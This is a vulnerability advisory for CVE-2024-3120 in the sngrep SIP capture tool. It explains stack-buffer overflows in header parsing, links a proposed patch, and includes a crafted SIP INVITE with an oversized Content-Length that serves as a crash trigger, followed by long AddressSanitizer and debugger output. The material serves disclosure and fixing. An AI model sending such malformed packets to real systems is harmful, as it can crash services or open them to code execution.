Apr 5, 2024
CVE-2024-3120
Huascar Tejeda of Pentraze Cybersecurity
The vulnerability arises from improper bounds checking of the Content-Length
and Warning
headers within SIP messages, leading to potential stack-buffer overflow conditions. This flaw could allow an attacker to execute arbitrary code or cause a Denial of Service (DoS) through crafted SIP packets.
9.0 (Critical) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
The vulnerability results from insufficient bounds checking before copying the Content-Length
and Warning
headers into fixed-size buffers within the SIP message processing functions. Specifically, the strncpy
function calls in sip_validate_packet
and sip_parse_extra_headers
in src/sip.c
file do not validate the length of the input, potentially leading to stack-buffer overflows for overly large header values.
$ sudo sngrep -T
Content-Length
value over the network, as demonstrated below: INVITE sip:[email protected] SIP/2.0\r\n
Via: SIP/2.0/UDP 10.1.0.2:5060;branch=z9hG4bK-12345\r\n
Content-Length: 999999999999999\r\n\r\n
I’ve developed a patch that introduces proper bounds checking for the Content-Length and Warning header values. The commit with the proposed fix can be viewed here: https://github.com/irontec/sngrep/commit/f229a5d31b0be6a6cc3ab4cd9bfa4a1b5c5714c6
=================================================================
==3094560==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffff40c596a at pc 0x55555565157a bp 0x7ffff4afe770 sp 0x7ffff4afdf30
WRITE of size 32 at 0x7ffff40c596a thread T1
#0 0x555555651579 in strncpy (/home/htejeda/sngrep/src/sngrep+0xfd579) (BuildId: 62e1f4d43b909825)
#1 0x5555556b7519 in sip_validate_packet /home/htejeda/sngrep/src/sip.c:294:5
#2 0x5555556ad7e2 in capture_packet_reasm_tcp /home/htejeda/sngrep/src/capture.c:840:17
#3 0x5555556a89db in parse_packet /home/htejeda/sngrep/src/capture.c:433:21
#4 0x7ffff7eddc28 in pcap_handle_packet_mmap /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap-linux.c:3978:2
#5 0x7ffff7ede1c3 in pcap_read_linux_mmap_v3 /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap-linux.c:4128:10
#6 0x7ffff7ee207d in pcap_loop /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap.c:2904:9
#7 0x5555556a6e46 in capture_thread /home/htejeda/sngrep/src/capture.c:1069:5
#8 0x7ffff7a94ac2 in start_thread nptl/pthread_create.c:442:8
#9 0x7ffff7b2684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Address 0x7ffff40c596a is located in stack of thread T1 at offset 10602 in frame
#0 0x5555556b6fcf in sip_validate_packet /home/htejeda/sngrep/src/sip.c:263
This frame has 3 object(s):
[32, 10272) 'payload' (line 265)
[10528, 10560) 'pmatch' (line 266)
[10592, 10602) 'cl_header' (line 267) <== Memory access at offset 10602 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
Thread T1 created by T0 here:
#0 0x55555564ec0a in pthread_create (/home/htejeda/sngrep/src/sngrep+0xfac0a) (BuildId: 62e1f4d43b909825)
#1 0x5555556b07f2 in capture_launch_thread /home/htejeda/sngrep/src/capture.c:1054:13
#2 0x5555556ca643 in main /home/htejeda/sngrep/src/main.c:451:9
#3 0x7ffff7a29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/htejeda/sngrep/src/sngrep+0xfd579) (BuildId: 62e1f4d43b909825) in strncpy
Shadow bytes around the buggy address:
0x7ffff40c5680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ffff40c5700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ffff40c5780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ffff40c5800: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x7ffff40c5880: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
=>0x7ffff40c5900: f2 f2 f2 f2 00 00 00 00 f2 f2 f2 f2 00[02]f3 f3
0x7ffff40c5980: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x7ffff40c5a00: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x7ffff40c5a80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x7ffff40c5b00: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x7ffff40c5b80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3094560==ABORTING
#0 0x00007ffff7c969fc in __pthread_kill_implementation (/lib/x86_64-linux-gnu/libc.so.6)
at ./nptl/pthread_kill.c:44
#1 0x00007ffff7c969fc in __pthread_kill_internal (/lib/x86_64-linux-gnu/libc.so.6)
at ./nptl/pthread_kill.c:78
#2 0x00007ffff7c969fc in __GI___pthread_kill (/lib/x86_64-linux-gnu/libc.so.6)
at ./nptl/pthread_kill.c:89
#3 0x00007ffff7c42476 in __GI_raise (/lib/x86_64-linux-gnu/libc.so.6)
at ../sysdeps/posix/raise.c:26
#4 0x00007ffff7c287f3 in __GI_abort (/lib/x86_64-linux-gnu/libc.so.6)
at ./stdlib/abort.c:79
#5 0x00007ffff7c89676 in __libc_message (/lib/x86_64-linux-gnu/libc.so.6)
at ../sysdeps/posix/libc_fatal.c:155
#6 0x00007ffff7d3659a in __GI___fortify_fail (/lib/x86_64-linux-gnu/libc.so.6)
at ./debug/fortify_fail.c:26
#7 0x00007ffff7d34f16 in __GI___chk_fail (/lib/x86_64-linux-gnu/libc.so.6)
at ./debug/chk_fail.c:28
#8 0x00007ffff7d34959 in __strncpy_chk (/lib/x86_64-linux-gnu/libc.so.6)
at ./debug/strncpy_chk.c:26
#9 0x000055555556015e in strncpy (/home/htejeda/sngrep/src/sngrep)
??: char strncpy(__len = (size_t)<optimized out>, __src = (const char * restrict)<optimized out>, __dest = (char * restrict)0x7ffff78823d6 "") {
||:
||: /* Local reference: size_t __len = <optimized out>; */
||: /* Local reference: char * restrict __dest = 0x7ffff78823d6 ""; */
||: /* Local reference: const char * restrict __src = <optimized out>; */
93: size_t __len))
94: {
95: return __builtin___strncpy_chk (__dest, __src, __len,
||:
--: }
at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:95
#10 0x000055555556015e in sip_validate_packet (/home/htejeda/sngrep/src/sngrep)
262: int sip_validate_packet(packet = (packet_t *)0x7ffff0000e70) {
|||:
|||: /* Local reference: char [10] cl_header = "\000\000\000\000\000\000\000\000\000"; */
|||: /* Local reference: u_char [10240] payload = "INVITE sip:[email protected] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\nContent-Length: ", '9' <repeats 32 times>, "\r\n\r\n\n", '\000' <repeats 1... */
|||: /* Local reference: regmatch_t [4] pmatch = {{rm_so = 96, rm_eo = 145}, {rm_so = 96, rm_eo = 110}, {rm_so = 112, rm_eo = 144}, {rm_so = -1, rm_eo = -1}}; */
292: }
293:
294: strncpy(cl_header, (const char *)payload + pmatch[2].rm_so, (int)pmatch[2].rm_eo - pmatch[2].rm_so);
|||:
---: }
at sip.c:294
#11 0x000055555555de4c in capture_packet_reasm_tcp (/home/htejeda/sngrep/src/sngrep)
763: packet_t capture_packet_reasm_tcp(capinfo = (capture_info_t *)0x5555555a9700, packet = (packet_t *)0x7ffff0000e70, tcp = (struct tcphdr *)0x7ffff7889d08, payload = (u_char *)0x7ffff7889d28 "INVITE sip:[email protected] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\nContent-Length: ", '9' <repeats 32 times>, "\r\n\r\n\n", size_payload = (int)149) {
|||:
|||: /* Local reference: packet_t * packet = 0x7ffff0000e70; */
|||: /* Local reference: int original_size = 149; */
|||: /* Local reference: packet_t * pkt = 0x7ffff0000e70; */
|||: /* Local reference: int valid = <optimized out>; */
838: // This packet is ready to be parsed
839: int original_size = pkt->payload_len;
840: int valid = sip_validate_packet(pkt);
|||:
---: }
at capture.c:840
#12 0x000055555555f26d in parse_packet (/home/htejeda/sngrep/src/sngrep)
320: void parse_packet(info = (u_char *)0x5555555a9700 "\001\001", header = (const struct pcap_pkthdr *)0x7ffff788ed40, packet = (const u_char *)<optimized out>) {
|||:
|||: /* Local reference: const u_char * packet = <optimized out>; */
|||: /* Local reference: packet_t * pkt = 0x7ffff0000e70; */
|||: /* Local reference: struct tcphdr * tcp = 0x7ffff7889d08; */
|||: /* Local reference: u_char * payload = 0x7ffff7889d28 "INVITE sip:[email protected] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\nContent-Length: ", '9' <repeats 32 times>, "\r\n\r\n\n"; */
|||: /* Local reference: uint32_t size_payload = 149; */
431:
432: // Create a structure for this captured packet
433: if (!(pkt = capture_packet_reasm_tcp(capinfo, pkt, tcp, payload, size_payload)))
|||:
---: }
at capture.c:433
#13 0x00007ffff7f00c54 in pcap_offline_read (/lib/x86_64-linux-gnu/libpcap.so.0.8)
at ./savefile.c:654
#14 0x00007ffff7ee2048 in pcap_loop (/lib/x86_64-linux-gnu/libpcap.so.0.8)
at ./pcap.c:2897
#15 0x000055555555d410 in capture_thread (/home/htejeda/sngrep/src/sngrep)
1064: void capture_thread(info = (void *)0x5555555a9700) {
||||:
||||: /* Local reference: capture_info_t * capinfo = 0x5555555a9700; */
1067:
1068: // Parse available packets
1069: pcap_loop(capinfo->handle, -1, parse_packet, (u_char *) capinfo);
||||:
----: }
at capture.c:1069
#16 0x00007ffff7c94ac3 in start_thread (/lib/x86_64-linux-gnu/libc.so.6)
at ./nptl/pthread_create.c:442
#17 0x00007ffff7d26850 in clone3 (/lib/x86_64-linux-gnu/libc.so.6)
at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Crash context:
Execution stopped here ==> 0x00007ffff7c969fc: mov r13d,eax
Register info:
rax - 0x0000000000000000 (0)
rbx - 0x00007ffff788f640 (140737346336320)
rcx - 0x00007ffff7c969fc (140737350560252)
rdx - 0x0000000000000006 (6)
rsi - 0x000000000018b04d (1617997)
rdi - 0x000000000018abb8 (1616824)
rbp - 0x000000000018b04d (0x18b04d)
rsp - 0x00007ffff7882020 (0x7ffff7882020)
r8 - 0x00007ffff78820f0 (140737346281712)
r9 - 0x0000000000000000 (0)
r10 - 0x0000000000000008 (8)
r11 - 0x0000000000000246 (582)
r12 - 0x0000000000000006 (6)
r13 - 0x0000000000000016 (22)
r14 - 0x0000000000000002 (2)
r15 - 0x0000000000000001 (1)
rip - 0x00007ffff7c969fc (0x7ffff7c969fc <__GI___pthread_kill+300>)
eflags - 0x00000246 ([ PF ZF IF ])
cs - 0x00000033 (51)
ss - 0x0000002b (43)
ds - 0x00000000 (0)
es - 0x00000000 (0)
fs - 0x00000000 (0)
gs - 0x00000000 (0)
Evaluación proactiva utilizando tácticas, técnicas y procedimientos de atacantes reales para identificar fallas de seguridad, configuraciones incorrectas y vulnerabilidades.
Protección integral de aplicaciones, garantizando la seguridad en todas las fases del desarrollo.
Simulación avanzada de ataques cibernéticos para evaluar y mejorar la capacidad de respuesta de una organización.
Proceso proactivo para identificar, priorizar y abordar las vulnerabilidades de seguridad en sistemas y software, mejorando la defensa de una organización contra las amenazas cibernéticas en evolución.